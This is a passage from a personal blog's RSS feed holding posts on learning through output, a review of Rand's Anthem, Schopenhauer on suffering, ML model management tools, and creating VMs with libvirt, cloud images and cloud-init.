&lt;p&gt;As a concrete example, I’ve always wanted to learn a new programming language and get good at it. I even started with Golang, but didn’t go far and just got distracted in a few days. But recently when I had to learn Rust and Solana development for an interview assignment, I did an 18 hour coding marathon learning it all from scratch. And this pattern has emerged in the past too, whenever I was very energetic about learning something, the learning was means to some other end.&lt;/p&gt;
&lt;p&gt;I suspect this is true not just for me, but for many others, possibly everyone. So if I’m to make it a general rule it’ll be like the following:&lt;/p&gt;
&lt;p&gt;Learning can not be an end-in-itself. It has to be means to an output. Whenever we pick up a project, the end goal of the project can not be the fact that I’ll end up with some input—the knowledge, the goal should be some output—creating, teaching, writing, etc.&lt;/p&gt;
&lt;p&gt;Of course the nature of the output matters too, but that will vary from person to person. Different kinds of output appeals to different people at different stages of their life. The output can be anything: earning money, teaching others, creating products, solving some societal issue, contributing to research, etc. Even if you’re motivating and influencing others by putting yourself out there, you’re making an impact on the world, you’re producing some output. The worst if you’re just learning by yourself, isolated.&lt;/p&gt;
</content:encoded></item><item><title>Anthem by Ayn Rand</title><link>https://sumit-ghosh.com/posts/anthem-by-ayn-rand/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/anthem-by-ayn-rand/</guid><description>Anthem by Ayn Rand — by Sumit Ghosh.</description><pubDate>Mon, 23 Aug 2021 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Ayn rand is intriguing to me just because how polarising she is. Finding out that George Hotz is a big fan of Rand was a bit disappointing, but it made me reconsider reading her works just to see what the fuss is about. And I just did that today, read a very short novel of hers named &lt;em&gt;Anthem&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;I think Hotz &lt;a href=&quot;https://www.youtube.com/watch?v=_L3gNaAVjQ4&amp;amp;t=10294s&quot;&gt;described&lt;/a&gt; her works best when he called them pornographic, and understadably there could be an allure in that. Most of the book paints a cartoonish version of dystopic communism which has a lot of similarity to Orwell’s 1984, except 1984 has an extensive worldbuilding which fleshes out the power of censorship in a totalitarian regime, while Anthem lacks any such redeeming qualities. I was cringing out through most of the book except the last two chapters. Those chapters are very clearly just Rand speaking out her philosophy of individualism, and one can understand the novel is mostly a thin badly-written cover around these last few chapters. It’s just that I would prefer if I didn’t have to unwrap all that cover just to get to this.&lt;/p&gt;
&lt;p&gt;Rand’s philosophy has a strong tone of existentialism, especially the Nietzchian kind. Some of the following paragraphs from chapter 11 of the book gives a taste&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I stand here on the summit of the mountain. I lift my head and I spread my arms. This, my body and spirit, this is the end of the quest. I wished to know the meaning of things. I am the meaning. I wished to find a warrant for being. I need no warrant for being, and no word of sanction upon my being. I am the warrant and the sanction.&lt;/p&gt;
&lt;p&gt;It is my mind which thinks, and the judgement of my mind is the only searchlight that can find the truth. It is my will which chooses, and the choice of my will is the only edict I must respect.&lt;/p&gt;
&lt;p&gt;Many words have been granted me, and some are wise, and some are false, but only three are holy: “I will it!”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Not gonna lie, I dig it. Although this isn’t anything too new, just the typical enlightenment philosophy of individualism, along with existentialism and &lt;em&gt;will to power&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Some of the following stuff could be controversial, understandably.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I do not surrender my treasures, nor do I share them. The fortune of my spirit is not to be blown into coins of brass and flung to the winds as alms for the poor of the spirit. I guard my treasures: my thought, my will, my freedom. And the greatest of these is freedom.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;But it’s interesting how Rand has not mentioned any material possession when she lists out the treasures she won’t like to share. But she did say that “the fortune of my spirit is not to be blown into coins of brass and flung to the winds as alms for the poor of the spirit”. An obvious reading of this would be a cry against things like taxation. But a more interesting reading would be a statement against market capitalism, and how one should not sacrifice their thought, will and freedom to capitalistic ends, how one should not blow their spirit away into coins of brass. But I need to read more Rand to confirm this, I’m most probably just projecting here.&lt;/p&gt;
&lt;p&gt;Maybe I will read more Rand, or maybe not.&lt;/p&gt;
</content:encoded></item><item><title>Schopenhauer: a Positive Conception of Suffering</title><link>https://sumit-ghosh.com/posts/schopenhauer-positive-conception-of-suffering/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/schopenhauer-positive-conception-of-suffering/</guid><description>Schopenhauer: a Positive Conception of Suffering — by Sumit Ghosh.</description><pubDate>Wed, 17 Mar 2021 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Schopenhauer is infamous for his morbid pessimism, but upon reading him I did find him to be more than that. His core philosophy describes a realism, and although he certainly sometimes interprets it pessimistically, in other times he leaves it as be, without imposing any explicit value judgment on it. I recently decided that I’ll write very short posts about anything and everything, and increase the regularity and quantity of my writing rather than worrying about the novelty and quality of it. This post is about the Schopenhauerian &lt;em&gt;positive&lt;/em&gt; conception of suffering. As it will be evident, I’m writing mostly to clarify my own understanding, but if it does end up helping or traumatizing others that’s all the better! The primary source of this post is his essay “On the Suffering of the World”.&lt;/p&gt;
&lt;p&gt;At this point I should note that I’m using terms such as pessimism and realism quite loosely, I’m referring to the common dictionary definitions rather than the philosophical schools of thought. In case I do refer to the philosophical thoughts I’ll make sure to make it explicit.&lt;/p&gt;
&lt;p&gt;With the opening sentence of the essay Schopenhauer sets the tone, “If the immediate and direct purpose of our life is not suffering then our existence is the most ill-adapted to its purpose in the world”. Upon witnessing the amount of suffering individuals and humanity as a whole goes through, it simply would be absurd if this were not the direct “purpose” of our life. Of course, “purpose” here does not signify some transcendental objective of our life. It simply states the fact that suffering is the most fundamental reality we face—“Each individual misfortune, to be sure, seems an exceptional occurrence; but misfortune in general is the rule”—thus it must be inherent in the nature of life itself.&lt;/p&gt;
&lt;p&gt;Phenomenologically, whatever we take notice of thwarts our &lt;em&gt;will&lt;/em&gt; in some way, when things go our way we simply don’t notice it. This can be noticed at various levels of individual and social reality. Considering pure sensations, we are not conscious of our whole body but only where it’s uncomfortable, “where the shoe pinches”. In case of interpersonal relationships as well as socio-political developments, conflicts are much more &lt;em&gt;real&lt;/em&gt; to us and they leave a far greater impression than the easy times. “History shows us the life of nations and finds nothing to narrate but wars and tumults; the peaceful years appear only as occasional brief pauses and interludes”. Childhood traumas leave such an impact that they continue to haunt us for the rest of our lives, whereas an easy childhood is just a mere backdrop to the further life that lies ahead. Even if we disregard trauma as an outlier, in general, “we think not of the totality of our successful activities but of some insignificant trifle or other which continues to vex us”. If we keep thinking about this, we can come up with lots and lots of examples.&lt;/p&gt;
&lt;p&gt;Schopenhauer was gripped by this realization, he concluded that evil, pain, and suffering are the &lt;em&gt;positive&lt;/em&gt; aspects of existence, only they exist of themselves; happiness, gratification and all goodness can only defined &lt;em&gt;negatively&lt;/em&gt;, as the absence of the former. This realization is not something very new; like with almost everything in philosophy, ancient Greeks did it first. In particular, Epicurean philosophy is founded on this purely &lt;em&gt;negative&lt;/em&gt; notion of happiness as the absence of pain. But Schopenhauer went one step further and created a system of metaphysics founded upon this realization, but more on that later on a separate post.&lt;/p&gt;
&lt;p&gt;Moreover, men &lt;em&gt;require&lt;/em&gt; this constant pressure of wants, desires, frustrations and sufferings, otherwise they would simply give into “the most unbridled folly, indeed madness”. In an Utopia where suffering doesn’t exist and every desire is satisfied as soon as it arose, men would either kill themselves or deliberately create conflict and suffering, because suffering—when thought of as a thwarting of our will and the subsequent overcoming thereof—&lt;em&gt;is&lt;/em&gt; the fundamental drive for life, the “purpose” of our lives.&lt;/p&gt;
</content:encoded></item><item><title>Machine Learning Model Management in 2020 and Beyond</title><link>https://sumit-ghosh.com/posts/machine-learning-model-management-in-2020-and-beyond/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/machine-learning-model-management-in-2020-and-beyond/</guid><description>Machine Learning Model Management in 2020 and Beyond — by Sumit Ghosh.</description><pubDate>Sun, 22 Nov 2020 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://analyticsindiamag.com/machine-learning-model-management-2020/&quot;&gt;Model management&lt;/a&gt; is a relatively new issue when it comes to Machine Learning. Since the technique is widely used in business, the need to manage multiple experiments and optimize dozens of parameters has become bread-and-butter of data scientists around the world. And thus, the tools supporting the Model management have emerged on the market. The rise of open-source and relatively intuitive ML frameworks such as Pytorch and Tensorflow has lowered the entry barrier for ML development.&lt;/p&gt;
&lt;p&gt;In the coming years, machine learning will only extend its influence and keep penetrating new market segments. Organizations that don’t necessarily have the expertise to build models themselves will be forced to use models made by others.&lt;/p&gt;
&lt;p&gt;Deploying and using ML models in such a large, enterprise scope involves a lot of moving parts. Doing it ad-hoc without any solid framework and pipeline in place can make ML development unwieldy and counter-effective. This is where machine learning model management comes into the picture.&lt;/p&gt;
&lt;h2 id=&quot;shortcomings-of-ad-hoc-machine-learning-model-development&quot;&gt;Shortcomings of ad-hoc Machine Learning model development&lt;/h2&gt;
&lt;p&gt;Doing ML model development without a management framework gets very complicated. To name just a few challenges:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;No record of experiments&lt;/strong&gt;: In an organization, multiple colleagues are likely to be working on the same problem, and they might be running their own set of experiments. In such a scenario, making sure that duplicate work is not being done is essential but hard to implement. For example, colleague A might want to try something out which has already been tried out by colleague B; but he has no way of knowing that, so he has to run the experiment himself. This should be avoided.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Insights lost along the way&lt;/strong&gt;: In a rapid iterative experimentation phase, an insight generated in an earlier experiment might be lost when the researcher moves on to the next iterations of that model. A solution would be to keep detailed notes manually, but no one does that just because it’s manual and requires a ton of effort.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Difficult to reproduce results&lt;/strong&gt;: Reproducing a particular experiment becomes problematic as that would require storing the model code along with the hyperparameters and the dataset manually, for each and every iteration of the model. This requires a ton of effort, so in practice, no one does it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cannot search for or query models&lt;/strong&gt;: Once a lot of experiments have been done, querying the past models would be a vital source of information and insights, but without solid version control and metadata tracking system, this becomes nearly impossible.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Difficult to collaborate&lt;/strong&gt;: Once a candidate model has been developed and is up for review, how would the reviewer effectively review the model? This problem becomes progressively more challenging as the team size grows. Issue trackers, JIRA boards, pull requests are useful tools designed to solve this problem in the realm of software development, but we need something analogous to that for ML model development too.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;managing-the-lifecycle-of-a-machine-learning-model-with-mlops&quot;&gt;Managing the lifecycle of a Machine Learning model with MLops&lt;/h2&gt;
&lt;p&gt;Machine learning model management can be thought of as a part of a broader framework called MLOps. So before we go into the details of model management, let’s look into details of MLOps.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;MLOps can be thought of as a collection of principles, practices, and technologies that help to increase the efficiency of machine learning workflows.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It was inspired by DevOps, as DevOps tries to make the software lifecycle from development to deployment as efficient as possible, the MLOps makes the machine learning development pipeline—from experimentation to deployment—faster and smoother.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;MLOps pipeline can be broadly divided into the following three parts,&lt;/strong&gt; each optimizing a particular aspect of ML model development.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Model development and management:&lt;/strong&gt; This deals with methodologies for faster experimentation and development of models.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Model deployment&lt;/strong&gt;: This includes a few subtasks.
&lt;ul&gt;
&lt;li&gt;Validation and quality assurance of models that are about to be deployed. After validation, automated, and fast deployment of models into production.&lt;/li&gt;
&lt;li&gt;Deployment of new versions of models, i.e., upgrading, over-the-air seamlessly. This step can be thought of as analogous to continuous integration and continuous deployment of DevOps.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Model monitoring&lt;/strong&gt;: Monitoring the usage and performance of models that are running in production. Systems that alert when &lt;a href=&quot;https://neptune.ai/blog/concept-drift-best-practices&quot;&gt;concept drift&lt;/a&gt; occurs are common.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Although these principles are similar to their software engineering or data management counterparts, &lt;strong&gt;ML models are fundamentally different from code or data&lt;/strong&gt;, so they should be treated differently. Software management or data management tooling don’t work as effectively on models. So we have to &lt;a href=&quot;https://medium.com/@ODSC/what-are-mlops-and-why-does-it-matter-8cff060d4067&quot;&gt;rethink MLOps on its own.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In this article, we’re going to focus mostly on the first part of the MLOps pipeline: model management.&lt;/p&gt;
&lt;h2 id=&quot;what-is-machine-learning-model-management&quot;&gt;What is Machine Learning model management?&lt;/h2&gt;
&lt;p&gt;Now that we have a birds-eye view of what ML model management is, we can look into the specific practices that go into it.&lt;/p&gt;
&lt;p&gt;While developing models, researchers carry out lots of experiments rapidly. By experiments I mean trying out different model architectures, tuning their hyperparameters, and then seeing their performance by training and validating. Even if a single researcher is doing these experiments independently, &lt;strong&gt;keeping track of all the experiments and their results can become hard.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This &lt;strong&gt;challenge grows when multiple researchers are working on the same problem&lt;/strong&gt; simultaneously. As these experiments tend to be very rapid and somewhat chaotic, traditional software management tools such as git and Kanban boards fall short when it comes to synchronization between researchers and the experimentation phase.&lt;/p&gt;
&lt;p&gt;Solving this challenge is the core premise of ML model management. And the &lt;strong&gt;solution turns out to be something quite simple but tremendously powerful: logging everything.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;By logging the parameters pertaining to every experiment, dashboards can be generated at a central place where everyone can keep track of the different models. In addition, there should also be a way to keep track of all the versions of the models that are developed, so that they can be reproduced later easily.&lt;/p&gt;
&lt;p&gt;This is the central idea behind ML model management, and in practice, these techniques end up multiplying the productivity of model developers.&lt;/p&gt;
&lt;p&gt;So, we understand, ML model management consists of the following three ideas&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.neptune.ai/logging-and-managing-experiment-results/index.html&quot;&gt;Logging&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://neptune.ai/features/notebook-versioning&quot;&gt;Version Control&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Dashboard&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now let’s look at them one-by-one more closely.&lt;/p&gt;
&lt;h2 id=&quot;logging&quot;&gt;Logging&lt;/h2&gt;
&lt;p&gt;In an ML model development workflow, the fundamental unit of operation is an experiment. An experiment can be thought of as a single train-and-validate cycle of a particular model. Logging every experiment is the first step towards having a birds-eye view of the performance of the models.&lt;/p&gt;
&lt;p&gt;For each experiment, the following parameters might be logged:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The model name, along with a version number.&lt;/li&gt;
&lt;li&gt;Set of hyperparameters used.&lt;/li&gt;
&lt;li&gt;Training accuracy at each iteration of the training process.&lt;/li&gt;
&lt;li&gt;Final test accuracy, or better, the confusion matrix.&lt;/li&gt;
&lt;li&gt;Training time, memory consumed, etc.&lt;/li&gt;
&lt;li&gt;Model binary&lt;/li&gt;
&lt;li&gt;Code and environment configs&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/model-management-logging.jpg&quot; alt=&quot;Logging&quot;&gt;*&lt;/p&gt;
&lt;h2 id=&quot;version-control&quot;&gt;Version Control&lt;/h2&gt;
&lt;p&gt;Just like software, machine learning models get built incrementally. After &lt;strong&gt;each incremental change, the model might perform differently than before.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;So it is of utmost importance to track the version of models that are being used, and make sure that the metadata and performance metrics that are logged are tagged with the name and version of the model that’s being used. This is where version control comes in.&lt;/p&gt;
&lt;p&gt;Version control also helps us reproduce a model later easily, as all the information pertaining to the model is stored in the VCS.&lt;/p&gt;
&lt;p&gt;As git is the industry-standard version control system for software development, many ML model management frameworks provide a VCS that’s git-like, in terms of architecture and user interface.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/model-management-version-control.jpg&quot; alt=&quot;Version Control&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;dashboard&quot;&gt;Dashboard&lt;/h2&gt;
&lt;p&gt;Once all the information and metadata pertaining to the experiments has been collected, a central dashboard is used to&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Visualize the metrics related to the models&lt;/li&gt;
&lt;li&gt;Query all the models and experiments&lt;/li&gt;
&lt;li&gt;Share results with collaborators and review the models&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Having an intuitive and powerful dashboard can unlock tremendous potential for collaboration and insight gathering; in a sense generating a powerful and rich dashboard is the final goal of model development.&lt;/p&gt;
&lt;p&gt;It also helps if the dashboard has user management, authentication, and authorization features built into it, especially for large organizations. That way, security gets reinforced, and collaboration becomes much more manageable.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/model-management-dashboard.jpg&quot; alt=&quot;Dashboard&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;machine-learning-model-management-frameworks&quot;&gt;Machine Learning model management frameworks&lt;/h2&gt;
&lt;p&gt;Now that we understand what machine learning model management is, let’s look at some popular model management frameworks. Each has its own idiosyncrasies, strengths, and weaknesses, but they do follow a pattern as well.&lt;/p&gt;
&lt;h3 id=&quot;modeldb&quot;&gt;&lt;a href=&quot;https://github.com/VertaAI/modeldb&quot;&gt;&lt;strong&gt;ModelDB&lt;/strong&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The ModelDB framework is one of the pioneers of making machine learning model management easy and intuitive. The Github repo of ModelDB describes itself as&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ModelDB is an open-source system to version machine learning models including their ingredients code, data, config, and environment and to track ML metadata across the model lifecycle.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In essence, it’s a complete system that provides all the primary components of ML model management: logging, version control, and a central dashboard. It consists of a powerful backend built to run as docker containers, a pluggable storage system, and powerful integrations with major ML frameworks such as Tensorflow, Pytorch, and scikit-learn. You can use ModelDB in order to&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Make your ML models &lt;strong&gt;reproducible&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Manage your ML experiments, &lt;strong&gt;build performance dashboards, and share reports.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Track models across their lifecycle&lt;/strong&gt; including development, deployment, and live monitoring.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ModelDB started off as a research project by the CSAIL research lab at MIT. Since then, it has been adopted by VertaAI and currently it lives &lt;a href=&quot;https://github.com/VertaAI/modeldb&quot;&gt;here&lt;/a&gt;. The latest version of Modeldb brought many features that made it enterprise-ready, including git-based model versioning and authentication features for its central dashboard; the announcement can be found &lt;a href=&quot;https://blog.verta.ai/blog/modeldb-2.0-is-here&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/model-management-modeldb.png&quot; alt=&quot;ModelDB&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;mlflow&quot;&gt;&lt;a href=&quot;https://mlflow.org/&quot;&gt;&lt;strong&gt;MLflow&lt;/strong&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;MLflow is another big, comprehensive ML model management framework. It’s created by Databricks, the company behind Apache Spark. And it’s really apparent how their talent and experience have been integrated into this giant but agile framework. From its Github repo&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;MLflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;As you can see, MLflow also provides features for deploying ML models, making this more of a full-fledged MLOps framework. MLflow consists of the following components.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;MLflow Tracking&lt;/strong&gt;: An API to log parameters, code, and results in machine learning experiments and compare them using an interactive UI. Essentially, this component covers the most fundamental &lt;em&gt;logging&lt;/em&gt; part of the ML model management workflow.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;MLflow Projects:&lt;/strong&gt; A code packaging format for reproducible runs using Conda and Docker, so you can share your ML code with others. This incorporates the &lt;em&gt;version control&lt;/em&gt; part of the model management workflow.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;MLflow Models:&lt;/strong&gt; A model packaging format and tools that let you easily deploy the same model (from any ML library) to batch and real-time scoring on platforms such as Docker, Apache Spark, Azure ML, and AWS SageMaker.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;MLflow Model Registry:&lt;/strong&gt; A centralized model store, set of APIs, and UI, to collaboratively manage the full lifecycle of MLflow Models. This component, along with the previous one, makes MLOps a fully-fledged MLOps framework, rather than just a model management framework.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/model-management-mlflow.png&quot; alt=&quot;MLFlow&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;neptune&quot;&gt;&lt;a href=&quot;https://neptune.ai/&quot;&gt;&lt;strong&gt;Neptune&lt;/strong&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Neptune is a machine learning experiment management tool which focuses on being lightweight and easy to integrate. It consists of two components,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The server, which you can use as a service or install on your own hardware.&lt;/li&gt;
&lt;li&gt;The client libraries.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Like I said, the strength of Neptune is in its ease of integration with all kinds of workflows. Using Neptune, team members can use vastly different ML libraries and platforms, and yet share their results and collaborate on a single dashboard.&lt;/p&gt;
&lt;p&gt;Moreover, you can use their software-as-a-service offering, skipping the need to deploy it on your own hardware; and that way integrating Neptune into your workflow becomes even easier.&lt;/p&gt;
&lt;p&gt;Neptune offers the following features&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Experiment management&lt;/strong&gt;: Keep track of all the experiments your team carries out; tag, filter, group, sort and compare your experiments.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Notebook versioning and diffing&lt;/strong&gt;: Compare two notebooks or two different checkpoints of the same notebook. You can even compare their output side-by-side just like source code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Team collaboration&lt;/strong&gt;: Adding comments, mentioning teammates, comparing results and discovering insights through discussions, it’s all possible.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As you can see, it’s a fully fledged machine learning model management framework; the ease of use doesn’t come at the cost of functionality and power. If you’re looking for an easy entry into the world of machine learning model management, Neptune could be perfect.&lt;/p&gt;
&lt;h3 id=&quot;azure-machine-learning&quot;&gt;&lt;strong&gt;&lt;a href=&quot;https://azure.microsoft.com/en-us/services/machine-learning/&quot;&gt;Azure Machine Learning&lt;/a&gt;&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Azure Machine Learning is the cloud MLOps platform offered by Microsoft. As it’s a &lt;strong&gt;complete MLOps system&lt;/strong&gt;, it offers services to manage and automate the whole ML lifecycle, i.e., model management, deployment, and monitoring. It provides the following MLOps capabilities.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create &lt;strong&gt;reproducible ML pipelines.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Create &lt;strong&gt;reusable software environments&lt;/strong&gt; for training and deploying models.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Register, package, and deploy models&lt;/strong&gt; from anywhere.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Deals with data governance&lt;/strong&gt; for the end-to-end ML lifecycle.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Notify and alert on events&lt;/strong&gt; in the ML lifecycle.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monitor ML applications&lt;/strong&gt; for operational and ML-related issues.&lt;/li&gt;
&lt;li&gt;Automate the end-to-end ML lifecycle with Azure Machine Learning and Azure Pipelines.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you’re considering making your whole ML infrastructure cloud-based, or if you’re already on the cloud bandwagon, Azure Machine Learning might be an excellent platform to consider. It offers all the state-of-the-art MLOps workflows, and you won’t have to manage a single piece of hardware by yourself.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/model-management-azure.png&quot; alt=&quot;Azure&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;final-remarks&quot;&gt;Final remarks&lt;/h2&gt;
&lt;p&gt;Machine learning model management frameworks make your ML workflow much smoother, lets your team collaborate and share their insights, in turn increasing their efficiency and productivity by a great margin. You should incorporate an ML model management framework in your arsenal; it’s an essential component of using ML effectively in 2020 and beyond.&lt;/p&gt;
&lt;p&gt;If you’re new to model management, I would suggest you &lt;strong&gt;start with a framework that’s lightweight enough to not add any friction to the workflow and codebase you already have&lt;/strong&gt; in place. Once you understand how it suits you, and how you can use it to be more productive, you can incorporate it more deeply into your workflow. Neptune is such a framework, it’s lightweight enough to not get in your way, but it’s also powerful if you use it to its full potential.&lt;/p&gt;
</content:encoded></item><item><title>Creating a VM using Libvirt, Cloud Image and Cloud-Init</title><link>https://sumit-ghosh.com/posts/create-vm-using-libvirt-cloud-images-cloud-init/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/create-vm-using-libvirt-cloud-images-cloud-init/</guid><description>Creating a VM using Libvirt, Cloud Image and Cloud-Init — by Sumit Ghosh.</description><pubDate>Thu, 10 Sep 2020 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;In this post, we’re going to see how we can create virtual machines in seconds, the way it’s done in modern cloud infrastructures such as EC2 and Digital Ocean. This is kind of a continuation of &lt;a href=&quot;https://sumit-ghosh.com/posts/virtualization-hypervisors-explaining-qemu-kvm-libvirt/&quot;&gt;my previous post&lt;/a&gt;, where I explain the basics of virtualization and create a virtual machine in the old-school way. So let’s dive right into it!&lt;/p&gt;
&lt;p&gt;The old-school, traditional way of creating virtual machines goes like the following.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create a VM from scratch by allocating a newly created blank disk image to it.&lt;/li&gt;
&lt;li&gt;Install an OS on the VM, from either an ISO or using PXE network boot.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In the second step, the OS installation wizard usually needs many manual inputs, which is not ideal for automation purposes. Here’s how automated installation tools like &lt;a href=&quot;https://en.wikipedia.org/wiki/Preseed&quot;&gt;Preseed&lt;/a&gt; for Debian and derivatives, and &lt;a href=&quot;https://en.wikipedia.org/wiki/Kickstart_(Linux)&quot;&gt;Kickstart&lt;/a&gt; for RHEL and &lt;a href=&quot;https://help.ubuntu.com/community/KickstartCompatibility&quot;&gt;Ubuntu&lt;/a&gt; comes into play. A sysadmin can pre-generate a file containing all the required configuration options, and these tools can read that file at install time, skipping the need for manual inputs. In this way, the whole VM creation process can be automated.&lt;/p&gt;
&lt;p&gt;But still, the installation takes quite some time, which is unacceptable in the age of cloud computing. If you’ve used cloud platforms such as EC2 and Digital Ocean, you know how fast they can provision a VM. You just select an OS, the disk size, number of CPUs, RAM, and provide an SSH key—and you get a VM up and running in less than a minute. We’re gonna see how they do that, and how we can do the same in our machine.&lt;/p&gt;
&lt;h2 id=&quot;how-it-works&quot;&gt;How It Works&lt;/h2&gt;
&lt;p&gt;In the old-school way, we created a blank disk image, and installed the OS in that. The installation step is the bottleneck, but there’s a straightforward way to skip that step entirely: import a disk that already has the OS installed in it. This kind of disk image is called a &lt;em&gt;cloud image&lt;/em&gt;. You can understand what a cloud image is by understanding how it’s usually created&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create a VM with a blank disk image.&lt;/li&gt;
&lt;li&gt;Install a minimal version of the OS in that VM.&lt;/li&gt;
&lt;li&gt;Create a snapshot of the disk just after the installation.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So, a &lt;em&gt;cloud image&lt;/em&gt; is different than a normal &lt;em&gt;installation image&lt;/em&gt;. Most OS vendors provide both an installation image and a cloud image of their OS; you can find the Ubuntu cloud images &lt;a href=&quot;http://cloud-images.ubuntu.com/&quot;&gt;here&lt;/a&gt;. As you can imagine, once we have a cloud image, we can just &lt;em&gt;import&lt;/em&gt; that and create a new VM using that image as the root disk, skipping the need for installation as the OS is already installed in that image.&lt;/p&gt;
&lt;h3 id=&quot;cloud-init&quot;&gt;Cloud-Init&lt;/h3&gt;
&lt;p&gt;Creating a VM using a cloud image is cool, but there’s a problem with this approach, we didn’t get any chance to customize the installation. All the configurations that are usually done in install time—setting the hostname, username, password, importing SSH key, we didn’t get to do any of that. Kickstart used to take care of this in the old paradigm; can we use Kickstart here too? Well, Kickstart comes into action at install time, it’s a feature of the installation wizard; we skipped the installation process entirely, so no, we can’t use Kickstart.&lt;/p&gt;
&lt;p&gt;Canonical—the parent company behind Ubuntu—developed a solution to this problem called &lt;a href=&quot;https://cloud-init.io/&quot;&gt;cloud-init&lt;/a&gt;. Their official website pitches cloud-init like the following&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cloud images are operating system templates and every instance starts out as an identical clone of every other instance. It is the user data that gives every cloud instance its personality and cloud-init is the tool that applies user data to your instances automatically.&lt;/p&gt;
&lt;h4 id=&quot;use-cloud-init-to-configure&quot;&gt;Use cloud-init to configure:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Setting a default locale&lt;/li&gt;
&lt;li&gt;Setting the hostname&lt;/li&gt;
